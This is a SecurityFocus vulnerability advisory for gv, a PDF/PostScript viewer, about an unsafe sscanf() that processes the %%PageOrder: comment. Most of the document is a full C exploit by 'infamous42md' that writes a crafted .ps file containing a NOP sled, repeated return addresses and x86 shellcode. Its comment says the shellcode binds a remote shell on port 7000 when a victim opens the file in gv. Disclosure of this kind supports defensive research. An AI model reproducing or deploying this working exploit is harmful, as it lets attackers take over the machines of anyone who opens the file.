source: http://www.securityfocus.com/bid/5808/info
 
gv is a freely available, open source Portable Document Format (PDF) and PostScript (PS) viewing utility. It is available for Unix and Linux operating systems.
 
It has been reported that an insecure sscanf() function exists in gv. Due to this function, an attacker may be able to put malicious code in the %%PageOrder: portion of a file. When this malicious file is opened with gv, the code would be executed in the security context of the user opening the file.

/*
 * gv postscript viewer exploit , infamous42md AT hotpop DOT com
 *
 * run of the mill bof.  spawns a remote shell on port 7000.  woopty doo. if
 * someone has been able to exploit the heap overflow in cfengine, please email
 * me and teach me something. after days of pain i've concluded it's not
 * possible b/c you can't manipulate the heap enough to get anything good in
 * front of you.  please prove me wrong so i can learn.
 *
 * shouts to mitakeet
 *
 *  [n00b@localho.outernet] netstat -ant | grep 7000
 *  [n00b@localho.outernet] gcc -Wall -o gvown gvown.c
 *  [n00b@localho.outernet] ./gvown 0xbffff350
 *  [n00b@localho.outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps
 *  [n00b@localho.outernet] netstat -ant | grep 7000
 *  tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN
 */
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define NOP 0x90
#define NNOPS 512
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define RETADDR_BYTES 400
#define PS_COMMENT "%!PS-Adobe- "
#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"


/* call them on port 7000, mine */
char remote[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main(int argc, char **argv)
{
    int len, x, fd;
    char    buf[BS];
    u_long  retaddr;

    if(argc < 2){
        fprintf(stderr, "Usage: %s < retaddr >\n", argv[0]);
        return EXIT_FAILURE;
    }
    sscanf(argv[1], "%lx", &retaddr);

    /* create 3vil buf */
    memset(buf, NOP, BS);
    strcpy(buf, PS_COMMENT);
    len = strlen(buf);
    for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
        memcpy(buf+x+len, &retaddr, sizeof(retaddr));
    len += x + NNOPS;
    strcpy(buf+len, remote);
    strcat(buf+len, "\n");
    len += strlen(remote) + 1;   /* + NULL */

    /* create the 3vil file */
    if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0)
        die("open");

    if(write(fd, buf, len) < 0)
        die("write");

    close(fd);

    return 0;
}